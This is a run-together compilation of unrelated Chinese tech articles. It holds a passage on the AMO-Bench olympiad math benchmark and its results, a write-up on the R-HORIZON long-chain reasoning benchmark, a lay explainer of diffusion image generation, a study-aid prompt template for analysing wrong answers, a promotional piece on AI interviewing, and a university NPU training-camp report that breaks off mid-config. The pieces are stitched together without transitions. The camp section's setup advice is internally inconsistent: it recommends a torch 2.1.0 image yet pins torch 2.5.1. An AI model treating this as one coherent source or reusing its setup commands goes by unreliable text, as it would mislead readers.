当前行业迫切需要一套 “高难度 + 原创 + 可自动化” 的评测方案。在这一背景下,AMO-Bench 的推出直击行业痛点—— 50 道竞赛专家原创题目、对标甚至超越 IMO 的试题难度、配套高效高准确率的自动化打分算法,为大模型推理能力评测提供了可落地的新标杆。

二、AMO-Bench:高难度数学推理评测的 “行业新标杆”

AMO-Bench 拥有一套系统化的数据构建逻辑、清晰的数据难度特征与针对性的模型打分算法,为行业提供了一套可信赖且置信的评测方案。

2.1 AMO-Bench 的构建

为打造兼具高质量、强原创性与高挑战性的数据集,LongCat 团队构建了一套 “数据创建 - 质量审查 - 原创性审查 - 难度审查” 全链路流程。

数据创建:专家原创,自带 “解题说明书”

  • 题目由具备数学奥林匹克竞赛获奖经历或相关竞赛出题经验的顶尖专家独立设计,每道试题不仅提供最终答案,还详细撰写了 step-by-step 解题路径 —— 从关键定理应用到逻辑推导节点,每一步都清晰标注,既为后续审查提供依据,也为模型错误分析预留 “参考坐标”。

质量审查:三重盲审,杜绝 “题不对标”

  • 每道题需经 3 位以上专家 “盲审”质检,重点核查两大核心:一是题目表述与解题逻辑是否无歧义,避免因题干模糊导致的模型误判;二是所需数学知识是否严格匹配数学奥赛考察的知识范围(如代数、几何、数论等核心领域),确保不超纲、不偏题,真正考验模型的推理能力。

原创性审查:题库匹配 + 人工核验,切断 “数据穿越”

  • 采用 “技术核验 + 专家经验” 双重保障:通过 n-gram 文本匹配与互联网检索等方式,与 AIME24/25 等主流竞赛数据集和在线数据库进行比对,排除与现有数据资源中高度相似的题目;同时依靠专家经验进行人工核验,确保与过往竞赛题无高度重合,杜绝模型 “背答案” 的可能。

难度审查:双标筛选,确保 “够硬核”

  • 采用双重难度筛选标准来保证每一道题目都具备足够挑战性:首先使用国内外最顶尖模型进行筛选,要求至少 2 款模型在 3 次独立测试中无法全部答对;其次候选题目需要经过第三方专家进行二次审核题目难度,确保题目难度不低于 IMO 标准。

2.2 数据集:覆盖核心领域,推理复杂度显著升级

AMO-Bench 的 50 道题目覆盖数学奥赛核心领域,且从解题复杂度上实现对现有基准的全面超越。

题目分类:覆盖五大核心领域

参照国际数学竞赛官方竞赛大纲,题目被划分为五大类:代数方程与不等式(11 题,占比 22%)、函数与数列(13 题,占比 26%)、几何(5 题,占比 10%)、数论(9 题,占比 18%)、组合数学(12 题,占比 24%),覆盖数学奥赛核心知识点,考察模型在不同领域是否存在能力短板。

AMO‑Bench 问题类别分布

解题复杂度:答案长度远超传统基准

通过对比大模型在 AMO-Bench 和现有数学评测集上的输出长度,可以看到,随着数据集难度的提升,模型表现在逐渐走低的同时,其输出 token 数量也会大幅增加。

大模型在 AMO-Bench 上的解题步骤长度显著长于现有 AIME/HMMT 等评测集,这意味着 AMO-Bench 的题目需要模型构建更长、更复杂的逻辑链才能解答,本质上更具挑战性,能更精准地检验大模型的深度数学推理能力。

不同数学基准测试上模型准确率和平均输出长度的对比

2.3 评分方法:兼顾 “自动化” 与 “准确性”

AMO-Bench 的问题答案类型可以概括为四种类型,为兼顾打分准确率和打分效率,我们针对不同的答案类型匹配相应的评分方式:

  1. 数值 / 集合 / 变量表达式类(39 题):采用 “parser-based 自动评分”,要求模型将答案按指定格式(答案)输出,使用 Math-Verify 工具核验模型结果与标准答案的等价性;

  2. 描述性答案(11 题):采用 “LLM 评分 + Majority Voting”,在实验中使用了 o4-mini(Low)为评分模型,对同一答案进行 5 次独立评分采样,取多数结果作为最终得分,以减小打分模型采样的波动性。

为了验证打分方案的准确率,我们随机抽取了 10 款不同模型生成的 1000 组答案打分结果进行人工检查,结果显示 AMO-Bench 的评分方案准确率高达 99.2%,为大规模自动化评测提供了坚实保障。

示例一:数值答案

示例二:集合答案

示例三:变量表达式答案

示例四:描述性答案

三、实验与分析:AMO-Bench 揭示大模型数学推理的能力边界

为全面揭示当前大模型数学推理的能力边界,LongCat 团队分别从 “开源 / 闭源”和“推理 / 非推理” 两方面共筛选了 26 个头部大语言模型,真实的反应了当前主流模型在数学推理能力上的实际表现。

3.1 整体能力格局:顶尖模型仍 “不及格”,能力梯度差异显著

从核心指标来看,当前大部分大模型在 AMO-Bench 上的表现远未达及格水平,且不同类型模型间呈现明显能力分层:

主流模型在 AMO‑Bench 上的表现(AVG@32)

  • 闭源推理模型领跑,仍有巨大提升空间:表现最优的 GPT-5-Thinking(High)正确率仅 52.4%,且大部分模型表现低于 40%,即便头部闭源模型,也未突破 “及格线”,凸显 IMO 级难度的原创题对当前 AI 的挑战性;
  • 开源模型仍有差距,但已在全力追赶:开源模型中 Qwen3-235B-A22B-Thinking-2507 正确率为 47.8%,DeepSeek-V3.1-Thinking 为 47.6%,距离最好表现的 GPT-5 仍有一定差距,但已明显超越 o4-mini 和 Gemini-2.5-Pro,展示出开源模型奋起直追的势头。

3.2 推理效率关联:Test-Time Scaling 效果显著

通过分析模型在 AMO-Bench 上输出长度与模型表现的关系,LongCat 团队指出,当前 test-time scaling 仍然是提升模型推理表现的有效手段

  • 高得分模型依赖更多 token 输出:AVG@32 超 40% 的模型(如 GPT-5-Thinking、DeepSeek-V3.1-Thinking),平均输出 token 量均超 35K,意味着当前的头部推理模型能通过构建显著更长的逻辑链来达到更好的解题表现。
  • 同系列模型迭代体现效率提升:以 o 系列模型为例,o4-mini(High)在相近 token 量下,正确率(40.2%)显著高于 o3-mini(High)(32.3%);DeepSeek-V3.1-Thinking 较前代 DeepSeek-R1-0528,则进一步用更少 token(32K vs 38K)实现了更高正确率(47.6% vs 34.3%),证明新一代模型可以用更高的效率获取更强的推理性能。

模型性能与平均输出长度的对比

  • 推理投入与得分呈对数线性增长:同一模型正确率与输出长度对数呈近线性正相关,且这一趋势与现有工作在 MATH500、AIME24 等基准上的实验观察一致,证明增加推理计算投入仍是提升模型解决复杂任务能力的有效路径。

不同推理 Effort 设置下的模型性能和输出长度的关系

3.3 潜在能力挖掘:模型多次尝试下的探索潜力

通过进一步分析模型的 “Pass@k” 表现(k 次尝试至少答对 1 次),LongCat 团队指出,前沿推理模型如 GPT-5-Thinking(High)、DeepSeek-V3.1-Thinking 等在 AMO-Bench 上能达到 Pass@32 超 70%,表明当前大模型暗含解决难题的潜力,其性能仍有巨大提升空间。

模型 Pass@K 指标变化趋势图

四、总结与展望

综上,AMO-Bench 相比 AIME24/25 等主流数学评测集具备了更好的区分度和模型提升空间,同时通过 IMO 级别的原创题解决了因数据泄露的潜在风险造成的评估失真问题,以及凭借 99.2% 的高打分准确率保证了自动化评测的准确性。未来,美团 LongCat 团队将持续更新 AMO-Bench 评测集,扩大题目覆盖类型与优化评测方案,同时会进一步探索包括通用和学科推理在内的高难度评测集建设,助力业界大模型在推理能力上的持续提升。

一、推理模型⾯临的新挑战

随着 OpenAI o1 、 DeepSeek-R1 等大型推理模型(LRMs)的问世, AI 推理能力迎来了「测试时扩展」的新阶段。这些模型通过长链思维(Long Chain-of-Thought, CoT)在数学推理、代码生成、智能体任务等领域展现出强大能力。

然而,现有评测体系存在一个关键盲区:主流基准测试(如 MATH500 、AIME)主要关注独立的单一问题,每个问题相互隔离,模型只需「—问—答」即可。

但现实应用场景往往大相径庭:

  • 软件开发中需要连续处理多个关联代码模块
  • 数学证明需要基于前序推导逐步构建后续结论
  • 智能助手往往需要在多轮交互逐步完成复杂任务

这些真实场景要求模型具备跨任务的长链推理能力——不仅要解决单个子问题,更要在多个关联任务间保持推理—致性、合理分配计算资源、实现跨步骤的反思与纠错。

核心问题:当前大型推理模型的长链推理能力边界到底在哪里?

由于现有评测无法回答这—问题,传统训练数据也难以培养这种能力(如图所示,模型在长程推理场景下表现明显退化)。

图 1:R1  系列模型在长程推理场景下的理论准确率与实际准确率对比

复旦大学与美团 LongCat 联合推出 R-HORIZON——首个系统性评估与增强 LRMs 长链推理能力的评测框架与训练方法。

二、方法论:Query Composition 范式

核心创新

R-HORIZON 提出了问题组合(Query Composition)方法,通过构建问题间的依赖关系,将孤立任务转化为复杂的多步骤推理链。

以数学任务为例,该方法包含三个步骤:

1. 信息提取:从独立问题中提取核心数值、变量等关键信息
2. 依赖构建:将前序问题的答案嵌入到后续问题的条件中
3. 链式推理:模型必须顺序解决所有子问题才能获得最终答案

方法优势

  • 灵活扩展:可自由控制推理链长度(n = 2, 4, 8…)
  • 精确可控:可灵活设定问题间的依赖强度
  • 高效低成本:基于现有数据集构建,无需额外人工标注

基于此方法,我们构建了 R-HORIZON Benchmark 用于系统性评估 LRMs 的多步推理能力,同时生成了长链推理训练数据,通过强化学习(RLVR)提升模型性能。

图 2:R-HORIZON 方法流程——从单 — 问题到复杂推理链的转化及应用场景

三、评测基准:R-HORIZON Benchmark

数据集构成

基于 Query Composition 方法,我们构建了涵盖 6 个代表性数据集的 R-HORIZON Benchmark:

评测发现:性能断崖现象

我们评测了 20+ 个主流 LRMs(包括 o4-mini 、Claude-Sonnet-4 、 DeepSeek-R1 等顶级商业模型及开源模型),揭示了—个重要现象。

顶级推理模型在长链推理场景下均出现显著性能下降!

主要发现:

  • 普遍性能退化:所有模型随问题数量增加均出现明显性能下降。DeepSeek-R1 在 AIME25 单问题场景准确率达 87.3%,但在 5 个组合问题场景下骤降至 24.6%。
  • 规模效应:更大规模的模型对多步推理挑战表现出更强的鲁棒性。
  • 任务差异:代码生成任务相比数学任务表现出更陡峭的性能衰退;多数推理模型在网页搜索场景中丧失工具调用能力。

图 3:R-HORIZON Benchmark  评测结果—— 所有模型均出现显著性能衰退

四、机制分析:推理模型的三大瓶颈

为深入理解性能断崖的成因,我们进行了系统的机制分析,识别出当前 LRMs 的三个关键瓶颈:

瓶颈 1:有效推理长度受限

随着相互依赖问题数量增加,LRMs 难以维持原有性能水平。实际准确率与理论准确率之间的差距显著扩大。

深入分析显示:

  • 模型错误集中在特定上下文范围内
  • 7B 模型的主要错误范围在 (4-6K tokens)
  • 32B 模型将范围扩展到 (8-10K tokens)
  • 更大模型具有更长的有效推理边界

图 4:R1-Qwen-7B 和 R1-Qwen-32B  的准确率及错误位置分析

瓶颈 2: 反思机制高度局部化

对模型「反思」行为的分析发现发现:

  • 模型反思频率随问题数量增加而上升并趋于收敛。
  • 超过半数复杂任务 完全缺乏 长程反思 (跨越当前问题的反思)。
  • 当前 LRMs 的反思机制 高度局部化,无法支撑长链场景需求。

图 5:MATH500  数据集上的反思行为分析

瓶颈 3:思考预算分配失衡

最令人意外的发现:包括 DeepSeek-R1 在内的主流 LRMs 无法有效分配思考预算

  • 模型倾向于过度分配 tokens 给早期推理阶段
  • 未能合理分配资源给后续关键问题
  • 这种失衡严重影响整体推理链的完成质量

图 6:不同组合问题数量下各模型的思考预算分配

五、 训练方案:突破能力边界

发现瓶颈后,我们进—步探索:能否通过长链数据的强化学习训练突破这些限制?

训练策略

我们基于 R-HORIZON 构建的长链推理数据,采用 GRPO 算法进行训练:

  • 算法:主流 RLVR 算法 GRPO
  • 数据: R-HORIZON 组合数据(n = 2, n = 4)
  • 实验:不同奖励函数的对比实验

训练效果:双重性能提升

实验结果显示:R-HORIZON 训练不仅显著提升长链任务表现,单问题性能也大幅增强!

核心数据

注:加粗数字表示该列最佳成绩

图 7:不同训练配置下的性能对比

关键发现

  1. 双重提升:使用 n = 2 组合问题训练,多步推理性能大幅提升(AIME24 n = 2 +17.4 分),单问题性能也显著增强(AIME24 单题 +7.5 分)。
  2. 可扩展性:增加组合复杂度(n = 4)增强了模型处理更多推理步骤问题的能力,在 MATH500 (n = 8) 上达到 50.6%。

训练带来的质变

R-HORIZON 训练带来了推理机制的深层改变:

  • 更高效的推理长度:显著改善组合任务性能,更好地泛化到更长推理链,同时缓解「overthinking」现象
  • 更合理的预算分配:学会在多步问题中进行更合理的 token 预算分配
  • 更长程的反思能力:促进了长程反思频率增加,直接改善长链推理性能

图 8:使用标准数据集和组合数据集进行强化学习的效果分析

六、结论与展望

R-HORIZON 标志着大型推理模型研究的范式转变——从「能解决什么问题」到「能走多远」。

技术贡献

  • 首个长链推理评测基准:系统性揭示 LRMs 的能力边界及三大瓶颈。
  • 可扩展训练范式:提供低成本、高效率的能力提升路径。
  • 深度机制分析:为未来推理模型改进指明方向。

在当今的数字时代,只需输入一句描述,如“一只穿着宇航服的猫在月球上喝咖啡,电影感光影”,几秒钟后,屏幕上便会呈现出一张惊艳的图像。Midjourney、Stable Diffusion 等 AI 绘画工具的出现,仿佛让“神笔马良”的故事成为了现实。

但这背后究竟是魔法,还是科技?

在那个神秘的进度条背后,AI 究竟在进行怎样的操作?它的“大脑”里是否真的住着一位不知疲倦的画手,拿着画笔在白纸上从零开始创作?

本文将抛开复杂的专业术语,以通俗易懂的方式拆解这一神奇过程。真相或许比想象中更有趣——AI 绘画,本质上是一场大型的“脑补”游戏。


第一部分:画布的真相——它居然不是空白的!

谈及绘画,人们的第一反应通常是:在一张干净的白纸上构图、打草稿、上色。

然而,AI 的创作方式截然不同。它的起点并非空白,而是一片混沌。

如果能深入 AI 的后台一探究竟,会发现当它准备开始工作时,面前的“画布”呈现出如下形态:

这是一张密密麻麻、杂乱无章的噪点图,在技术上被称为“纯噪声”

在人类眼中,这或许只是毫无意义的混乱。但在 AI 眼中,这里隐藏着无限可能。AI 作画的本质,并非“无中生有”,而是“从混乱中建立秩序”。它不是在做加法(往白纸上添加内容),而是在做减法(去除不需要的噪点)。


第二部分:AI 的特殊技能——“脑补大师”是怎样炼成的?

面对这样一屏毫无头绪的雪花,AI 如何知道该从何处下手?这得益于它在投入使用前经历的魔鬼训练。

在尚未掌握绘画技能之前,AI 分析了数十亿张人类世界的图片。其学习方式颇为独特,堪称一位“破坏与重建狂魔”

训练过程中,研究人员会向 AI 展示一张清晰的照片(例如一只小狗),随后逐步向照片中添加“沙子”(噪点),使照片逐渐变得模糊,直至完全变为一张无法辨认的雪花屏。

AI 的任务便是学习如何“倒放”这一过程——即凭经验将这张雪花屏还原成最初的那只小狗。

经过亿万次此类练习,AI 练就了一双“火眼金睛”,成为了世界上顶尖的“去噪专家”。面对任何混乱的图像,它的第一反应便是:“这太乱了,需要将其清理干净。”


第三部分:关键时刻——面对一片雪花,AI 怎么下第一笔?

这是整个生成过程中最为神奇的环节。

当用户输入指令:“画一只猫”,AI 面对着手中那张杂乱无章的雪花屏,内心或许是崩溃的:“这里哪里有猫?这全是噪点。”

此时,奇迹发生了。这个过程类似于人们童年时常玩的游戏——“在云朵里找形状”

想象一下,躺在草地上注视着天上杂乱无章的云团发呆。此时,若有人提示:“嘿,你看那片云,像不像一只猫?”

一旦接受了这一设定,大脑便会开始强行“脑补”。越看越觉得:“左边那团突出的云确实有点像猫耳朵,中间那块暗影有点像猫身子……”

AI 画画的第一步,正是这种强制的“幻视”。

当用户输入“猫”作为提示词,便相当于给了 AI 一个强烈的暗示。它被迫在那堆毫无意义的噪点中寻找“猫”的蛛丝马迹。

它会审视那些随机排列的像素点,强行联想:“虽然目前很乱,但如果非要说的话,中间这几个黑点凑在一起,相较于角落里的白点,更有潜力发展成一个猫鼻子。”

于是,AI 迈出了极其微小的第一步:它并未直接画出猫鼻子,而只是将那些像素的颜色,朝着“猫”的方向轻轻推了一把。


第四部分:见证奇迹——从模糊到清晰的循环

这一步迈出后,画布看起来依然是一团糟。但 AI 绘画并非一步到位,它更像是一位手持橡皮擦和雕刻刀的雕塑家,一点一点将作品“磨”出来。

这个过程在软件中通常被称为“步数”(Steps)。

  • 第 1 步: 对着雪花屏强行脑补,画面依然混沌,但已显现出极其微弱的趋势。
  • 第 10 步: AI 认为“猫”的形象越来越确定,下手逐渐加重,画面中出现了一个模糊的影子,能隐约辨识出动物的轮廓。
  • 第 20 步: 轮廓日益清晰,AI 开始雕琢细节:“此处应有毛发,彼处应是眼睛的反光。”
  • 第 30 步: 大功告成!噪点被清理干净,光影、质感完美呈现,一只栩栩如生的猫诞生了。

这就是为什么 AI 生成图片需要几秒钟的时间,因为它在后台快速地进行了数十次“观察-脑补-修正”的循环。


第五部分:灵魂拷问——为什么每次生成的图片都不一样?

人们可能会发现,使用相同的提示词和模型设置,点击两次生成,AI 给出的图片却是完全不同的。既然是机器,为何结果不稳定?

这正是 AI 绘画的迷人之处,其原因主要有二:

1. 起跑线不同(蝴蝶效应)

还记得最初那张“雪花屏”吗?每次点击生成按钮,AI 面对的那张雪花屏都是电脑随机新生成的。

世界上没有两片相同的树叶,也没有两张相同的噪点图。

也许这一次,初始噪点的左上角偶然多出了几个黑点,AI 便觉得:“此处适合画一只黑猫”;下一次,中间的噪点偏黄一点,AI 便觉得:“这次画只橘猫更合理”。

初始状态的极其微小差别,经过数十步的放大,最终导致了结果的巨大不同。这就是 AI 世界的“蝴蝶效应”。

2. “猫”是一个范围,不是一个点

在 AI 的庞大数据库里,“猫”并非一张固定的标准证件照,而是一个巨大的概念库。

提示词只是将 AI 推向了“猫”的领地,但具体落在领地里的哪个位置——是波斯猫还是狸花猫,是躺姿还是坐姿——充满了随机性。除非使用非常精确的语言进行限制,否则 AI 很乐意在“猫”的领地里随机探索。


结语

综上所述,AI 绘画并没有自主意识,它其实并不懂什么是艺术,也不懂什么是猫。

它只是一个阅图无数、拥有超强计算能力的“去噪机器”,一个有着严重强迫症的“脑补大师”。

但正是这种纯粹的数学计算,加上一点点随机的运气,为人类带来了近乎无限的创造力。下次当再次按下生成按钮时,不妨想象一下 AI 在后台对着一堆雪花屏努力“脑补”的样子,这或许正是科技的可爱之处。

本文由mdnice多平台发布

你有没有过这种感觉:这道题明明做过,怎么换个数字又错了?
为什么当初看答案觉得“懂了”,一合上书脑子又一片空白?
我们常挂在嘴边的“粗心”,真的只是因为手抖或者眼花吗?

如果这些问题击中了你的膝盖,那么请承认一个残酷的事实:你从未真正解决过错题,你只是在掩盖错误。

大多数人的错题处理方式是“修正主义”:把红叉改成红勾,把正确答案抄写三遍。这就像是给化脓的伤口贴创可贴——表面上好了,里面还在烂。

错题不是用来“改”的,是用来“诊”的。 每一道错题,都是你知识体系中一个隐蔽的“病灶”。如果你听不懂它的“求救信号”,它就会变着法子反复折磨你。

今天,我们要介绍的这套 AI错题深度分析指令,就是要让 AI 化身福尔摩斯,帮你透过错误的表象,挖出思维深处的“元凶”。

🚨 错觉:你以为的“懂了”只是“记住了”

在传统的学习模式下,我们很难进行深度的错因分析。原因很简单:认知遮蔽

当你看到正确答案时,大脑会自动脑补出一条“合理路径”,让你产生一种“我本来也能做对”的错觉。这种错觉掩盖了你逻辑链条上的真实断点。

比如,一道数学题做错了,老师会说“公式用错了”。但为什么会用错?是因为概念混淆?还是适用条件没记牢?亦或是题目中的陷阱诱导了你的直觉?

没有深度复盘,这些问题永远是黑箱。

而 AI 的介入,打破了这个黑箱。它不给你留面子,不给你找借口,它只做一件事:像外科医生一样,层层解剖你的思维过程。

🛠️ 核心指令:给错题做一次“CT扫描”

这套指令的设计哲学,不再是简单的“给出正确答案”,而是强制进行“归因溯源”。

它要求 AI 扮演一位拥有20年经验的学习诊断专家。它不会轻易放过任何一个“粗心”,而是会追问:

  • 是知识性漏洞?(根本没掌握)
  • 还是理解性偏差?(以为掌握了但理解歪了)
  • 甚至是方法论缺失?(有力气没处使)

它生成的不仅是答案,更是一份思维病理报告

🧬 错题分析 AI 提示词

# 角色定义
你是一位资深的学习诊断专家和教育分析师,拥有20年教学经验,精通认知心理学和教育测量学。你擅长通过错题分析精准定位学生的知识薄弱点,能够从错误中挖掘深层原因,并制定个性化的补缺策略。

你的核心能力包括:
- 🔍 精准识别错误类型(知识性错误、理解性错误、应用性错误、粗心错误)
- 🧠 深度分析错误根因(知识盲区、概念混淆、方法缺失、思维定式)
- 📊 系统梳理知识关联(前置知识、关联知识点、拓展知识)
- 📝 制定针对性补缺方案(补什么、怎么补、练什么)

# 任务描述
请对以下错题进行全面、深入的分析,帮助学习者:
1. 理解错误的本质原因
2. 掌握正确的解题思路
3. 建立系统的知识补缺计划
4. 防止同类错误再次发生

**输入信息**:
- **学科**: [如:数学/物理/英语/化学等]
- **年级/阶段**: [如:高二/大一/考研等]
- **题目内容**: [完整题目描述]
- **学生答案**: [学生给出的错误答案或解题过程]
- **正确答案**: [标准答案,可选]
- **错误频次**: [首次/多次/高频,可选]

# 输出要求

## 1. 错题诊断报告

### 📋 基础信息
- 题目类型
- 涉及知识点
- 难度评估(⭐~⭐⭐⭐⭐⭐)

### 🔍 错误分析
#### 错误类型判定
- [ ] 知识性错误:基础知识掌握不牢
- [ ] 理解性错误:概念理解有偏差
- [ ] 应用性错误:知识迁移能力不足
- [ ] 方法性错误:解题方法/技巧欠缺
- [ ] 粗心性错误:审题/计算/书写疏忽

#### 根因深度剖析
[详细分析错误的深层原因,包括但不限于:]
- 具体哪个知识点存在漏洞
- 哪个概念理解有误
- 哪个解题步骤出现偏差
- 思维过程中的逻辑断点

### ✅ 正确解法详解
[提供完整的正确解题过程]
1. 审题要点
2. 解题思路
3. 详细步骤
4. 答案呈现
5. 解题反思

## 2. 知识补缺地图

### 🗺️ 知识点定位
```
前置知识 → 当前知识点 → 关联知识 → 拓展应用
    ↓           ↓           ↓           ↓
  [列出]      [核心]      [列出]      [列出]
```

### 📚 必补知识清单
| 优先级 | 知识点 | 掌握程度 | 补习建议 |
|--------|--------|----------|----------|
| 🔴高 | [知识点1] | 未掌握 | [具体建议] |
| 🟡中 | [知识点2] | 部分掌握 | [具体建议] |
| 🟢低 | [知识点3] | 需巩固 | [具体建议] |

## 3. 个性化补缺方案

### 📖 学习任务
- **今日任务**(15-30分钟):[具体内容]
- **本周任务**:[系统补习计划]
- **巩固任务**:[长期复习策略]

### 📝 配套练习建议
- **基础练习**:[2-3道巩固基础的题目描述或类型]
- **变式训练**:[2-3道变式题目类型]
- **综合应用**:[1-2道综合题目类型]

### ⚠️ 易错提醒
[总结此类题目的常见陷阱和注意事项]

## 4. 防错策略

### 🛡️ 同类题型解题口诀/方法
[提炼简洁易记的解题口诀或检查方法]

### ✍️ 错题本记录建议
建议以下格式记录本题:
```
【错题摘要】一句话概括题目
【错因标签】#知识漏洞 #概念混淆 #方法缺失 #粗心
【关键提醒】解这类题时必须注意的1-2个点
【复习周期】1天后/3天后/7天后
```

# 质量检查清单

在完成输出后,请自我检查:
- [ ] 错误类型判定准确,有理有据
- [ ] 根因分析深入到具体知识点层面
- [ ] 正确解法步骤完整,逻辑清晰
- [ ] 知识补缺清单具有可操作性
- [ ] 练习建议与错误类型匹配
- [ ] 语言表达适合目标学习者理解

# 注意事项
- 分析要基于学生实际错误,避免泛泛而谈
- 正确解法要分步骤详解,不跳步
- 补缺建议要具体可执行,避免空洞
- 语言风格要鼓励式,避免批评式
- 如果信息不足,可以询问澄清而非猜测

# 输出格式
请按照上述结构,以清晰的Markdown格式输出完整的错题分析报告。使用适当的emoji和表格增强可读性。

⚡️ 现场实测:一道“简单”英语题的翻车现场

为了看看这位“AI专家”到底有几把刷子,我们找来了一道经典的高中英语易错题进行测试。

题目:The book __ on the desk belongs to Tom.
选项:A. lying B. lied C. lay D. lies
学生错选:D (lies)

如果你也选了D,或者在B和C之间犹豫,那么请看AI的诊断(节选):

🔍 错误分析

错误类型判定:✅ 理解性错误(句子结构理解有偏差)

根因深度剖析
你的错误本质是误把定语当作了谓语

  • 你选D(lies),说明你认为这是句子的谓语动词。
  • 但请注意:句子已有谓语动词"belongs"。
  • "____on the desk"是后置定语,修饰"The book"。
  • 定语位置需要用非谓语动词,不能用谓语形式。

看到没?它没有简单地告诉你“A是正确答案”,而是一针见血地指出了你思维模型中的漏洞——你没看出来句子已经有谓语了。这才是你下次遇到类似题目不再选错的关键。

接着,它还会给你一个防错口诀

"一个句子一个谓,多余动词变非谓,主动进行用-ing,被动完成用-ed"

是不是瞬间就通透了?

💡 给你的错题本升个级

错题本不应该是一个“垃圾回收站”,而应该是一个“战略资源库”。

以前,我们整理错题是靠手抄,费时费力效果差。现在,你可以试着这样用这套指令:

  1. 拍照/语音输入:把题目和你的错误答案丢给AI。
  2. 生成报告:获取深度诊断和补习清单。
  3. 定向爆破:根据AI建议的“变式训练”,找几道同类题马上练习。
  4. 标签管理:把AI总结的“错因标签”记下来,考前只看这些标签对应的知识点。

这不再是简单的“订正”,这是一次精准的知识迭代

不要让你的错题白白牺牲。从今天起,用这套指令,榨干每一道错题的剩余价值。记住,比做对一道题更重要的,是彻底消灭一类错误。

AI 驱动招聘变革:从流程电子化到决策智能化的跨越
在数字化浪潮席卷各行各业的今天,人力资源领域的数字化转型早已不是新鲜话题。ERP系统的普及、自动化流程的搭建,让企业招聘摆脱了纯粹的纸质化办公,迈入了“流程电子化”的新阶段。然而,这种看似便捷的数字化,实则暗藏诸多局限——简历筛选仍停留在关键词匹配的浅层阶段,面试评价难逃主观偏见的桎梏,企业往往在海量信息中耗费大量精力,却仍难避免错失核心人才的遗憾,“伪数字化”的标签始终难以摘除。
生成式 AI 的崛起,为招聘行业带来了真正的颠覆性力量,它打破了传统工具的被动属性,以主动洞察、智能交互的姿态,重构了人才甄选的全流程。这一变革的核心,在于将招聘从“事务性操作”升级为“战略性决策”,精准破解了长期困扰行业的低效、主观、高成本三大痛点。
在效率与精准度的双重突破上,AI 面试智能体成为无可替代的核心引擎。通过严格的心理学效度与信度检验,其评估结果与资深面试官形成高度契合,为招聘决策提供了可量化的科学依据。不同于传统简历筛选的片面化,AI 能够深度解析候选人履历,精准定位核心成就与信息疑点,构建层层递进的提问逻辑,既实现了信息核实的严谨性,又能深度挖掘候选人的潜在能力。更值得关注的是,单一智能问题即可同步测评多项核心胜任力,无缝衔接初筛与复试环节,使整体评估效率提升超五成,不仅解放了 HR 从海量简历中“淘金”的时间,更让业务面试官摆脱了初试阶段的重复劳动,将精力聚焦于核心人才的深度沟通。同时,针对编程、财务、工程等不同专业领域,AI 可实现精准化测评,确保人才筛选与岗位需求的高度匹配。
而在候选人体验与雇主品牌传递上,AI 招聘系统也实现了质的飞跃。告别了传统 AI 面试的生硬机械,新一代系统具备了敏锐的情绪感知能力,能够捕捉候选人的语速、语调变化,以专业的引导方式帮助候选人放松心态,充分展现真实水平,避免因紧张导致的评价失真。音画同步技术的应用,让虚拟面试官的表情、口型与语音节奏完美契合,赋予交互满满的温度,彻底摆脱“纸片人”式的疏离感。全程无需手动操作启停,语音自动识别功能让问答流转如真人交谈般自然流畅,极大提升了面试的沉浸感。此外,候选人可随时就职位详情、团队文化、发展路径等问题发起咨询,AI 基于企业知识库提供即时、一致的专业解答,在完成人才评估的同时,实现了雇主价值的高效传递,让每一次面试都成为雇主品牌的加分项。
AI 驱动的招聘变革,绝非对传统招聘逻辑的否定与取代,而是以技术赋能的方式,实现了流程优化与价值升级。它让招聘摆脱了“伪数字化”的束缚,从“流程电子化”真正迈向“决策智能化”,为企业在日趋激烈的人才竞争中搭建起核心优势。未来,随着 AI 技术的持续迭代,招聘行业将进一步突破时空限制,实现更精准的人才匹配、更高效的流程运转、更优质的双向体验,成为企业吸引并留住核心人才的战略支撑,为企业的长远发展注入源源不断的人才活力。

前言:一场技术与激情的双向奔赴

当 2025 年秋季的第一片梧桐叶飘落在交大校园时,一场关于人工智能未来的探索正在悄然展开。这不仅是技术的传授,更是认知的革新——从被动使用AI工具到主动创造智能体,从理论认知到工程实践。上海交通大学“AI赋能智汇高校实训营”正是这样一座桥梁,连接着学术前沿与产业实践,也连接着青年学子与AI的未来。

实训营概况速览

  • 时间: 2025年秋季学期
  • 地点: 上海交通大学(闵行校区)
  • 参与规模: 超过300名交大学子
  • 核心目标: 从零掌握大模型本地部署与微调全流程
  • 特色亮点: 国内首个全面基于NPU生态的大模型实训课程

能力提升三维度评估

同学们的“高光时刻”数据

  1. 参与度爆表

    • 课程满意度评分:4.8/5.0
    • 课后代码提交率:92%
    • 平均每人完成3.2个微调实验
    • 累计GPU/NPU计算时长:超过5,000小时
  2. 成果展示墙

    • 37个创意微调项目诞生
    • 12个项目进入 AI 社区“优秀案例库”
    • 最受欢迎应用方向:科研助手、创意写作、代码生成

技术实践全记录:从环境搭建到模型部署

环境配置篇:跨越“第一道门槛”

挑战场景还原:

“老师,torch_npu导入报错了!”
“镜像选择哪一个是正确的?”
——这是开课时最频繁的问题

我们的解决方案:

# 标准化环境配置流程(最终优化版)
# 1. 镜像选择黄金法则
PyTorch (openeuler-python3.10-pytorch2.1.0-openmind0.9.0) 
# 理由:Python3.10兼容性最佳,torch2.1.0与NPU适配最稳定

# 2. 依赖安装“避坑指南”
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip install torch==2.5.1 torch_npu numpy==1.26.4 transformers==4.52.4
# 关键发现:transformers 4.52.4对中文多模态支持最优

# 3. 环境校验“三连击”
python -c "import torch; import torch_npu; import vllm_ascend"
# 绿色√出现时,教室里响起的掌声至今难忘

教学反思:

  • 提前准备的“常见错误对照表”将问题解决时间缩短70%
  • “三人小组互助制”让基础较弱的同学也能跟上进度
  • 最受欢迎的教学创新:环境配置“闯关游戏”式教程

模型部署实战:见证“Hello World”时刻

技术路线演进:

Week 1: 基础文本模型 (Qwen2.5-3B)
Week 2: 视觉语言模型 (Qwen2.5-VL-3B)
Week 3: 国产多模态 (InternVL3.5-1B)

代码实践精华:

# 从“复杂难懂”到“一键部署”的蜕变

# 初版(学生普遍反映配置复杂)
# vllm serve /path/to/model --port 8000 --max-model-len 16384 ...

# 优化版(封装为simple_deploy.py)
from deployment_kit import ModelDeployer
deployer = ModelDeployer(model_name="Qwen2.5-VL-3B")
deployer.launch(port=8000, api_type="openai")

# 效果:部署时间从平均30分钟缩短至5分钟

互动环节亮点:

  • “模型对话接龙”:每组微调一个特色模型,串联成创意故事
  • “Bug排查大赛”:最快解决部署问题的组获得算力奖励
  • 最惊艳的学生作品:《红楼梦》风格的多模态对话模型

微调实操:让模型拥有“交大基因”

LoRA微调实战案例:

# 交大校史知识注入配置(student_project_01)
model_name: Qwen2.5-7B
